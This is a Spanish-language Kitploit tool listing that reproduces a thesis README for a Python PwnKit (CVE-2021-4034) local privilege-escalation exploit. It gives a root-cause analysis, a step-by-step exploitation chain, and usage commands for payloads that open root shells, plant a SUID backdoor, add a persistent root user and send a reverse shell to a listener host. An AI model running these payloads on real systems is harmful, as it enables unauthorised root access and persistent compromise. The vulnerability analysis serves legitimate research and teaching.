Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-4034 — Investigación de tesis de maestría sobre la escalada de privilegios local CVE-2021-4034 (PwnKit). Exploit de Python con múltiples payloads y 7 modos que incluyen shell interactiva, backdoor SUID, shell inversa y creación de usuario root. Incluye análisis de causa raíz y documentación de la cadena de explotación. | Kitploit
Herramientas/GitHubGitHub/devianntsec/cve-2021-4034
Escalada de PrivilegiosForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Investigación de tesis de maestría sobre la escalada de privilegios local CVE-2021-4034 (PwnKit). Exploit de Python con múltiples payloads y 7 modos que incluyen shell interactiva, backdoor SUID, shell inversa y creación de usuario root. Incluye análisis de causa raíz y documentación de la cadena de explotación.

Explotación de Binarios
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Ver Repositorio
166hace 6 mesesAún no revisado
Compartir

CVE-2021-4034 — PwnKit Escalada de Privilegios Local · Investigación de Tesis de Máster

Platform Language License: MIT Research CVSS

Vulnerabilidad de corrupción de memoria en la utilidad pkexec de polkit
Escalada de privilegios local → root mediante escritura fuera de límites
Afectado: polkit 0.105-31 y anteriores · Parche: polkit 0.105-33 (enero de 2022)


Shell interactiva de root obtenida a través de CVE-2021-4034 - PwnKit

Descripción

Este repositorio contiene mi investigación de Tesis de Máster sobre CVE-2021-4034, una vulnerabilidad de Escalada de Privilegios Local de gravedad Alta (CVSS 7.8) en la utilidad pkexec de polkit, comúnmente conocida como PwnKit.

La vulnerabilidad se origina por una escritura fuera de límites en la lógica de procesamiento de argumentos de pkexec. Cuando pkexec se ejecuta con argv vacío o manipulado, lee y escribe más allá de los límites del arreglo argv dentro del arreglo envp, permitiendo a un usuario local no privilegiado inyectar variables de entorno maliciosas que posteriormente se cargan como una biblioteca compartida, ejecutando código arbitrario con privilegios de root.

Mi contribución

AspectoDescripción
Exploit multipayloadWrapper en Python con 6 modos de payload: shell, id, backdoor y reverse shell
Configuración automatizada del entornoConstrucción automática de GCONV_PATH y configuración de gconv-modules
Módulos de post-explotaciónBackdoor SUID, creación de usuario root y ejecución de comandos personalizados
Documentación académicaAnálisis de causa raíz, cadena de explotación y cronograma de la vulnerabilidad

Estructura del repositorio

CVE-2021-4034/
├── README.md                        # Este archivo
├── LICENSE                          # Licencia MIT
│
├── exploit/
│   └── pwnkit.py                    # Exploit avanzado con múltiples payloads
│
└── docs/
    ├── screenshots/                 # Demostraciones de explotación
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Análisis de causa raíz de la vulnerabilidad
        ├── 02-exploitation-chain.md # Desglose de la cadena de explotación
        └── 03-timeline.md           # Cronograma del CVE

Inicio rápido

Requisitos previos

  • Sistema Linux con polkit vulnerable (pkexec --version muestra 0.105 o anterior)
  • Compilador GCC (apt install gcc)
  • Python 3.6+
  • Cuenta de usuario estándar (no se requiere root)
  • Se recomienda una máquina virtual aislada para las pruebas

Uso

# Shell interactiva de root (por defecto)
python3 exploit/pwnkit.py -p shell

# Verificar contexto de ejecución
python3 exploit/pwnkit.py -p whoami

# Ejecutar un comando personalizado como root
python3 exploit/pwnkit.py -p custom -c "id"

# Crear backdoor SUID en /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Añadir usuario root persistente
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mipassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Referencia de payloads

PayloadDescripciónSalida
shellAbre /bin/sh interactivo como rootShell interactiva
idEscribe la salida de id y whoami en /tmp/pwnkit_id.txtArchivo
whoamiEscribe la verificación de UID/eUID en /tmp/pwnkit_root_testArchivo
backdoor_suidCrea una copia SUID de bash en /tmp/.shBackdoor persistente
add_root_userAgrega un usuario personalizado a /etc/passwdAcceso persistente
reverse_shellConecta de vuelta al atacante mediante PythonShell remota
customEjecuta cualquier comando como rootSalida estándar / archivo

Resumen técnico

Causa raíz de la vulnerabilidad

pkexec procesa su propio argv para localizar el programa a ejecutar. Cuando se invoca con argc == 0 (vector de argumentos vacío), la comprobación de límites sobre argv falla silenciosamente. La posterior lectura fuera de límites trata a envp[0] como argv[1], y la escritura fuera de límites de vuelta a envp permite a un atacante reemplazar una variable de entorno con una ruta manipulada. Cuando pkexec llama posteriormente a g_printerr(), carga GCONV_PATH desde el entorno ahora controlado por el atacante, cargando una biblioteca compartida proporcionada por el atacante con privilegios de root.

argc == 0  →  argv[1] lee envp[0]
             argv[1] = "GCONV_PATH=."  (escribe de vuelta en envp)
             pkexec carga ./pwnkit.so  (biblioteca compartida controlada por el atacante)
             gconv_init() se ejecuta como root

Cadena de explotación

1. Crear argv = { NULL }  →  argc = 0, desencadena acceso fuera de límites
2. Establecer envp[0] = "pwnkit.so:."
3. Establecer envp[1] = "PATH=GCONV_PATH=."
4. pkexec escribe fuera de límites "pwnkit.so:." en envp[0] como si fuera argv[1]
5. pkexec resuelve GCONV_PATH=. y carga gconv-modules
6. gconv-modules mapea el conjunto de caracteres "PWNKIT" a pwnkit.so
7. Se llama a pwnkit.so:gconv_init() con privilegios de root
8. El payload se ejecuta (shell / backdoor / reverse shell / etc.)

Detalles técnicos clave

ComponenteValorNotas
Binario vulnerable/usr/bin/pkexecSUID root
Condición de activaciónargc == 0argv vacío
Primitiva de escrituraEscritura fuera de límites en envpA través de argv[argc-1]
Mecanismo de cargaGCONV_PATH + gconv-modulesiconv estándar de glibc
Contexto de ejecucióngconv_init() en biblioteca compartidaSe ejecuta como EUID 0
Versiones afectadaspolkit ≤ 0.105-31Todas las distribuciones Linux principales

Demostraciones

Shell interactiva de root

Shell interactiva

Verificación de ID

Payload ID

Verificación de whoami

Payload Whoami

Backdoor SUID

Payload Backdoor

Añadir usuario root

Añadir usuario root

Reverse shell

Reverse shell

Descargar herramienta